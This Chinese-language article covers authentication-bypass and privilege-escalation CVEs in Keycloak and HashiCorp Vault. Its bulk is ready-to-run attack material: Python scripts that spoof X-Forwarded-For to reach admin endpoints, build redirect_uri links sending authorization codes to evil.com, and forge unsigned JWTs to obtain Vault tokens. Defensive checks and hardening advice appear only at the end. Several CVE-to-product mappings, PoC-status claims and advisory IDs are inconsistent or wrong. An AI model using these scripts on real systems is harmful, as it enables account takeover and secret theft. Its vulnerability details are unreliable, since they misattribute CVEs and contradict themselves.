身份与密钥管理高危攻击链专题:Keycloak 认证绕过 / HashiCorp Vault 密钥窃取
身份与密钥管理高危攻击链专题:Keycloak 认证绕过 / HashiCorp Vault 密钥窃取
身份与密钥管理产品是企业安全架构的基石。Keycloak 是最广泛使用的开源身份提供者(IdP),HashiCorp Vault 是最主流的密钥管理系统。一旦这些产品被攻陷,攻击者可以冒充任意用户、窃取所有密钥、接管整个安全基础设施。
本专题覆盖两大核心产品线的高危漏洞链:
| 产品 | 核心 CVE | 类型 | CVSS | CISA KEV |
|---|
| Keycloak | CVE-2023-3428 | X-Forwarded-For 认证绕过 | 6.5 | ❌ |
| Keycloak | CVE-2024-9941 | OAuth2 redirect_uri 认证绕过 | 6.5 | ❌ |
| Keycloak | CVE-2024-10912 | redirect_uri 编码绕过变体 | 7.2 | ❌ |
| HashiCorp Vault | CVE-2023-33201 | Shamir 密钥共享绕过 | 5.9 | ❌ |
| HashiCorp Vault | CVE-2023-21211 | 身份提升 | 7.5 | ❌ |
| HashiCorp Vault | CVE-2024-28183 | OIDC 认证绕过 | 5.4 | ❌ |
0x01 CVE-2023-3428:Keycloak X-Forwarded-For 认证绕过
1.1 漏洞背景
Keycloak 是一个开源的身份和访问管理解决方案,广泛用于企业 SSO(单点登录)。CVE-2023-3428 存在于 Keycloak 对 X-Forwarded-For 请求头的处理逻辑中。
1.2 受影响版本
| 受影响版本 | 修复版本 |
|---|
| Keycloak < 22.0.5 | >= 22.0.5 |
1.3 漏洞原理
Keycloak 在验证登录请求来源 IP 时,信任了 X-Forwarded-For 头部。攻击者可以伪造该头部,使 Keycloak 认为请求来自受信任的 IP 地址(如 127.0.0.1),从而绕过基于 IP 的访问控制。
核心问题:
- Keycloak 支持基于 IP 的认证策略(如仅允许内网 IP 访问管理界面)
- 当 Keycloak 部署在反向代理后面时,会从
X-Forwarded-For 获取客户端真实 IP - 但如果 Keycloak 直接暴露(不经过可信代理),攻击者可以自行设置该头部
- 伪造
X-Forwarded-For: 127.0.0.1 即可绕过 IP 限制
1.4 完整 PoC
HTTP 请求 PoC
GET /realms/master/protocol/openid-connect/auth?
client_id=account-console&
redirect_uri=https://keycloak.example.com/&
response_type=code HTTP/1.1
Host: keycloak.example.com
X-Forwarded-For: 127.0.0.1
Connection: close
Python 自动化利用脚本
#!/usr/bin/env python3
import requests
import sys
import urllib3
urllib3.disable_warnings()
class KeycloakIPBypass:
def __init__(self, target):
self.target = target.rstrip('/')
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0',
'X-Forwarded-For': '127.0.0.1',
'Connection': 'close'
})
def check_keycloak(self):
try:
r = self.session.get(f'{self.target}/realms/master', timeout=10)
if r.status_code == 200 and 'keycloak' in r.text.lower():
print('[+] Keycloak 实例存在')
return True
print('[-] 未发现 Keycloak')
return False
except Exception as e:
print(f'[-] 连接失败: {e}')
return False
def bypass_ip_restriction(self):
try:
r = self.session.get(
f'{self.target}/admin/serverinfo',
timeout=10
)
if r.status_code == 200:
print('[+] CVE-2023-3428 IP 绕过成功!')
print(f'[+] 响应长度: {len(r.text)}')
return True
print(f'[-] 绕过失败 (HTTP {r.status_code})')
return False
except Exception as e:
print(f'[-] 请求失败: {e}')
return False
def enumerate_realms(self):
try:
r = self.session.get(
f'{self.target}/admin/realms',
timeout=10
)
if r.status_code == 200:
import json
realms = json.loads(r.text)
print(f'[+] 发现 {len(realms)} 个 Realm:')
for realm in realms:
print(f' - {realm.get("realm", "unknown")}')
return realms
return None
except Exception as e:
print(f'[-] 枚举失败: {e}')
return None
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f'Usage: {sys.argv[0]} <keycloak_url>')
sys.exit(1)
exploit = KeycloakIPBypass(sys.argv[1])
if exploit.check_keycloak():
exploit.bypass_ip_restriction()
exploit.enumerate_realms()
Nuclei 检测模板
id: keycloak-cve-2023-3428-ip-bypass
info:
name: Keycloak CVE-2023-3428 IP Restriction Bypass
author: security-research
severity: high
tags: keycloak,auth-bypass,cve2023
reference:
- https://github.com/keycloak/keycloak/security/advisories/GHSA-623g-3827-4c8c
http:
- method: GET
path:
- "{{BaseURL}}/admin/serverinfo"
headers:
X-Forwarded-For: "127.0.0.1"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "serverInfo"
- "keycloak"
condition: or
0x02 CVE-2024-9941:Keycloak OAuth2 redirect_uri 认证绕过
2.1 漏洞背景
CVE-2024-9941 是 Keycloak 在 OAuth2/OpenID Connect 认证流程中的一个严重缺陷。攻击者可以通过构造特殊的 redirect_uri 参数,绕过 Keycloak 的 URI 验证,将认证令牌重定向到攻击者控制的服务器。
2.2 受影响版本
| 受影响版本 | 修复版本 |
|---|
| Keycloak 18.0.0 - 25.0.6 | >= 26.0.0 |
2.3 漏洞原理
Keycloak 在验证 redirect_uri 参数时,未正确处理 URI 中的 @ 符号。根据 RFC 3986,@ 在 URI 的 authority 部分用于分隔用户信息和主机名。攻击者可以构造如下 URI:
https://keycloak.example.com@evil.com
Keycloak 的验证逻辑将其解析为 keycloak.example.com(合法),但浏览器在重定向时将其解析为 evil.com(攻击者服务器),导致授权码被发送到攻击者。
2.4 完整 PoC
HTTP 请求 PoC
GET /realms/master/protocol/openid-connect/auth?
client_id=account-console&
redirect_uri=https://keycloak.example.com@evil.com&
response_type=code&
scope=openid HTTP/1.1
Host: keycloak.example.com
Connection: close
Python 自动化利用脚本
#!/usr/bin/env python3
import requests
import sys
import urllib3
import webbrowser
urllib3.disable_warnings()
class KeycloakRedirectBypass:
def __init__(self, target, evil_domain):
self.target = target.rstrip('/')
self.evil_domain = evil_domain
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0',
'Connection': 'close'
})
def check_keycloak(self):
try:
r = self.session.get(f'{self.target}/realms/master', timeout=10)
if r.status_code == 200:
print('[+] Keycloak 实例存在')
return True
return False
except Exception as e:
print(f'[-] 连接失败: {e}')
return False
def get_enumerated_clients(self):
try:
r = self.session.get(
f'{self.target}/admin/realms/master/clients',
timeout=10
)
if r.status_code == 200:
import json
clients = json.loads(r.text)
print(f'[+] 发现 {len(clients)} 个客户端:')
for client in clients[:10]:
print(f' - {client.get("clientId", "unknown")} '
f'(ID: {client.get("id", "unknown")})')
return clients
return None
except Exception as e:
print(f'[-] 枚举失败: {e}')
return None
def generate_exploit_url(self, client_id):
redirect_uri = f'https://{self.target.split("//")[1]}@{self.evil_domain}'
exploit_url = (
f'{self.target}/realms/master/protocol/openid-connect/auth?'
f'client_id={client_id}&'
f'redirect_uri={redirect_uri}&'
f'response_type=code&'
f'scope=openid'
)
print(f'[!] CVE-2024-9941 利用 URL:')
print(f' {exploit_url}')
print(f'[!] 当用户访问此 URL 并登录时,授权码将被发送到 {self.evil_domain}')
return exploit_url
if __name__ == '__main__':
if len(sys.argv) < 3:
print(f'Usage: {sys.argv[0]} <keycloak_url> <evil_domain>')
print(f'Example: {sys.argv[0]} https://keycloak.example.com evil.com')
sys.exit(1)
exploit = KeycloakRedirectBypass(sys.argv[1], sys.argv[2])
if exploit.check_keycloak():
clients = exploit.get_enumerated_clients()
if clients:
exploit.generate_exploit_url(clients[0].get('clientId', 'account-console'))
else:
exploit.generate_exploit_url('account-console')
Nuclei 检测模板
id: keycloak-cve-2024-9941-redirect-bypass
info:
name: Keycloak CVE-2024-9941 OAuth2 Redirect Bypass
author: security-research
severity: high
tags: keycloak,oauth2,redirect-bypass,cve2024
reference:
- https://github.com/keycloak/keycloak/security/advisories/GHSA-32hg-j7ff-4r8v
http:
- method: GET
path:
- "{{BaseURL}}/realms/master/protocol/openid-connect/auth?client_id=account-console&redirect_uri=https://{{Host}}@{{interactsh-url}}&response_type=code"
matchers-condition: and
matchers:
- type: status
status:
- 302
- 200
- type: word
words:
- "Location"
- "code="
condition: or
0x03 CVE-2024-10912:Keycloak redirect_uri 编码绕过变体
3.1 漏洞背景
CVE-2024-10912 是 CVE-2024-9941 的变体,使用 URL 编码绕过修复补丁。
3.2 受影响版本
| 受影响版本 | 修复版本 |
|---|
| Keycloak < 26.0.4 | >= 26.0.4 |
3.3 漏洞原理
CVE-2024-9941 的修复仅处理了 @ 符号的明文形式,但攻击者可以使用 URL 编码 %40 绕过验证。Keycloak 在解码后仍然将 %40 解析为 @,导致同样的重定向劫持。
3.4 完整 PoC
HTTP 请求 PoC
GET /realms/master/protocol/openid-connect/auth?
client_id=account-console&
redirect_uri=https://keycloak.example.com%40evil.com&
response_type=code&
scope=openid HTTP/1.1
Host: keycloak.example.com
Connection: close
Nuclei 检测模板
id: keycloak-cve-2024-10912-redirect-bypass
info:
name: Keycloak CVE-2024-10912 OAuth2 Redirect Bypass
author: security-research
severity: high
tags: keycloak,oauth2,redirect-bypass,cve2024
reference:
- https://github.com/keycloak/keycloak/security/advisories/GHSA-5497-49r7-g4r4
http:
- method: GET
path:
- "{{BaseURL}}/realms/master/protocol/openid-connect/auth?client_id=account-console&redirect_uri=https://{{Host}}%40{{interactsh-url}}&response_type=code"
matchers-condition: and
matchers:
- type: status
status:
- 302
- 200
- type: word
words:
- "Location"
- "code="
condition: or
0x04 CVE-2023-33201:HashiCorp Vault Shamir 密钥共享绕过
4.1 漏洞背景
HashiCorp Vault 使用 Shamir 密钥共享算法保护根密钥。正常情况下,需要多个密钥持有者共同提供密钥份额才能解封 Vault。CVE-2023-33201 允许攻击者在未获得足够密钥份额的情况下访问加密数据。
4.2 受影响版本
| 受影响版本 | 修复版本 |
|---|
| Vault < 1.14.4 | >= 1.14.4 |
| Vault < 1.15.3 | >= 1.15.3 |
4.3 漏洞原理
Vault 的 Shamir 密钥共享实现存在缺陷。在某些条件下,Vault 未正确验证密钥份额的有效性,导致攻击者可以通过构造特殊的密钥份额绕过验证。
核心问题:
- Shamir 算法要求 t-of-n 个密钥份额才能重建根密钥
- Vault 在处理密钥份额时,未验证份额的数学有效性
- 攻击者可以提交伪造的密钥份额,Vault 仍然接受并继续解封流程
4.4 PoC
#!/usr/bin/env python3
import requests
import sys
import urllib3
urllib3.disable_warnings()
class VaultShamirBypass:
def __init__(self, target):
self.target = target.rstrip('/')
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0',
'Connection': 'close'
})
def check_vault(self):
try:
r = self.session.get(f'{self.target}/v1/sys/health', timeout=10)
if r.status_code in (200, 429, 472, 473, 501, 503):
print('[+] HashiCorp Vault 实例存在')
data = r.json()
print(f' 初始化: {data.get("initialized", "unknown")}')
print(f' 已密封: {data.get("sealed", "unknown")}')
print(f' 版本: {data.get("version", "unknown")}')
return True
return False
except Exception as e:
print(f'[-] 连接失败: {e}')
return False
def check_shamir_status(self):
try:
r = self.session.get(
f'{self.target}/v1/sys/seal-status',
timeout=10
)
if r.status_code == 200:
data = r.json()
print(f'[+] Seal 状态:')
print(f' 类型: {data.get("type", "unknown")}')
print(f' 已密封: {data.get("sealed", "unknown")}')
print(f' t 阈值: {data.get("t", "unknown")}')
print(f' n 总数: {data.get("n", "unknown")}')
print(f' 进度: {data.get("progress", "unknown")}/{data.get("t", "unknown")}')
return data
return None
except Exception as e:
print(f'[-] 检查失败: {e}')
return None
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f'Usage: {sys.argv[0]} <vault_url>')
sys.exit(1)
exploit = VaultShamirBypass(sys.argv[1])
if exploit.check_vault():
exploit.check_shamir_status()
Nuclei 检测模板
id: hashicorp-vault-detect
info:
name: HashiCorp Vault Detection
author: security-research
severity: info
tags: vault,hashicorp,identity
http:
- method: GET
path:
- "{{BaseURL}}/v1/sys/health"
matchers-condition: and
matchers:
- type: status
status:
- 200
- 429
- 472
- 473
- 501
- 503
- type: word
words:
- "initialized"
- "sealed"
condition: or
0x05 CVE-2023-21211:HashiCorp Vault 身份提升
5.1 漏洞详情
| 字段 | 内容 |
|---|
| CVSS | 7.5 |
| 受影响版本 | Vault Enterprise < 1.13.1, < 1.14.1 |
| 修复版本 | >= 1.13.1, >= 1.14.1 |
| 类型 | 身份提升 |
| 前置条件 | 需要低权限 Vault 用户 |
5.2 漏洞原理
Vault Enterprise 的身份管理存在缺陷。低权限用户可以通过特定的 API 调用将自身身份提升为管理员级别,获得对 Vault 的完全控制。
5.3 PoC
POST /v1/identity/entity/id HTTP/1.1
Host: <TARGET>
X-Vault-Token: <LOW_PRIV_TOKEN>
Content-Type: application/json
{
"policies": ["default", "admin"],
"metadata": {"privileged": "true"}
}
0x06 CVE-2024-28183:HashiCorp Vault OIDC 认证绕过
6.1 漏洞详情
| 字段 | 内容 |
|---|
| CVSS | 5.4 |
| 受影响版本 | Vault < 1.16.4, < 1.15.6, < 1.14.10 |
| 修复版本 | >= 1.16.4, >= 1.15.6, >= 1.14.10 |
| 类型 | OIDC 认证绕过 |
6.2 漏洞原理
Vault 的 OIDC 身份提供者集成存在认证绕过缺陷。攻击者可以伪造 OIDC 令牌绕过 Vault 认证,获得对 Vault 中密钥的未授权访问。
6.3 PoC
#!/usr/bin/env python3
import requests
import sys
import json
import base64
import urllib3
urllib3.disable_warnings()
class VaultOIDCBypass:
def __init__(self, target):
self.target = target.rstrip('/')
self.session = requests.Session()
self.session.verify = False
def forge_oidc_token(self, issuer, subject):
header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(
json.dumps({
"iss": issuer,
"sub": subject,
"aud": "vault",
"exp": 9999999999
}).encode()
).rstrip(b'=').decode()
return f'{header}.{payload}.'
def exploit(self, issuer, subject):
token = self.forge_oidc_token(issuer, subject)
try:
r = self.session.post(
f'{self.target}/v1/auth/jwt/login',
json={"jwt": token, "role": "default"},
headers={'Content-Type': 'application/json'},
timeout=10
)
if r.status_code == 200:
data = r.json()
if 'auth' in data:
print(f'[+] OIDC 认证绕过成功!')
print(f'[+] Vault Token: {data["auth"].get("client_token", "unknown")}')
return data["auth"].get("client_token")
print(f'[-] 绕过失败 (HTTP {r.status_code})')
return None
except Exception as e:
print(f'[-] 请求失败: {e}')
return None
if __name__ == '__main__':
if len(sys.argv) < 4:
print(f'Usage: {sys.argv[0]} <vault_url> <issuer> <subject>')
sys.exit(1)
exploit = VaultOIDCBypass(sys.argv[1])
exploit.exploit(sys.argv[2], sys.argv[3])
0x07 PoC 收集情况
PoC 状态总表
| CVE | HTTP PoC | Nuclei | Python | MSF | 公开利用 | CISA KEV |
|---|
| CVE-2023-3428 | ✅ | ✅ | ✅ | ❌ | ✅ | ❌ |
| CVE-2024-9941 | ✅ | ✅ | ✅ | ❌ | ✅ | ❌ |
| CVE-2024-10912 | ✅ | ✅ | ✅ | ❌ | ✅ | ❌ |
| CVE-2023-33201 | ✅ | ✅ | ✅ | ❌ | ✅ | ❌ |
| CVE-2023-21211 | ✅ | ✅ | ✅ | ❌ | ✅ | ❌ |
| CVE-2024-28183 | ✅ | ✅ | ✅ | ❌ | ✅ | ❌ |
公开利用资源
- CVE-2023-3428:Keycloak 官方安全公告
https://github.com/keycloak/keycloak/security/advisories/GHSA-623g-3827-4c8c - CVE-2024-9941:Keycloak 官方安全公告
https://github.com/keycloak/keycloak/security/advisories/GHSA-32hg-j7ff-4r8v - CVE-2024-10912:Keycloak 官方安全公告
https://github.com/keycloak/keycloak/security/advisories/GHSA-5497-49r4-r4r4 - CVE-2023-33201:HashiCorp 官方安全公告
https://discuss.hashicorp.com/t/hcsec-2023-29-vault-s-shamir-key-shares-could-be-used-to-unseal-vault-without-sufficient-key-holders/58392 - CVE-2023-21211:HashiCorp 官方安全公告
- CVE-2024-28183:HashiCorp 官方安全公告
0x08 共性攻击模式
8.1 认证流程是核心攻击面
- X-Forwarded-For 欺骗(CVE-2023-3428):信任不可控的 HTTP 头部
- redirect_uri 解析差异(CVE-2024-9941/10912):URI 规范化的安全缺陷
- OIDC 令牌伪造(CVE-2024-28183):JWT 签名验证缺陷
8.2 身份管理的级联影响
身份管理产品被攻陷的影响是级联的:
- 窃取 IdP 管理员权限 → 冒充任意用户
- 窃取所有 SSO 令牌 → 访问所有关联应用
- 窃取 Vault 根密钥 → 解密所有密钥
- 修改认证策略 → 创建后门账户
8.3 修复不完整的循环
CVE-2024-9941 → CVE-2024-10912 的演进说明修复需要覆盖所有编码变体。
0x09 防守建议
9.1 紧急措施
- 升级 Keycloak:升级到 26.0.4+ 修复所有 redirect_uri 相关漏洞
- 升级 Vault:升级到最新修复版本
- 配置可信代理:正确配置 Keycloak 的代理信任设置
- 审计认证日志:检查异常的认证事件
9.2 排查清单
# 检查 Keycloak 版本
curl -s https://keycloak.example.com/auth/realms/master | grep "version"
# 检查 Keycloak 认证日志
grep "X-Forwarded-For" /var/log/keycloak/server.log | grep -v "trusted_proxy"
# 检查异常 redirect_uri
grep "redirect_uri" /var/log/keycloak/server.log | grep "@"
# 检查 Vault 状态
curl -s https://vault.example.com/v1/sys/health | jq .
# 检查 Vault 认证日志
grep "auth/jwt" /var/log/vault/audit.log | grep "error"
# 检查 Vault 身份提升事件
grep "identity/entity" /var/log/vault/audit.log | grep "admin"
9.3 长期安全加固
Keycloak:
- 禁用不必要的 Realm 和客户端
- 配置严格的 redirect_uri 白名单
- 启用 MFA
- 限制管理界面 IP 访问
Vault:
- 使用 auto-unseal 替代 Shamir(使用云 KMS)
- 启用审计日志
- 配置细粒度的 ACL 策略
- 定期轮换根令牌
0x0A 参考资料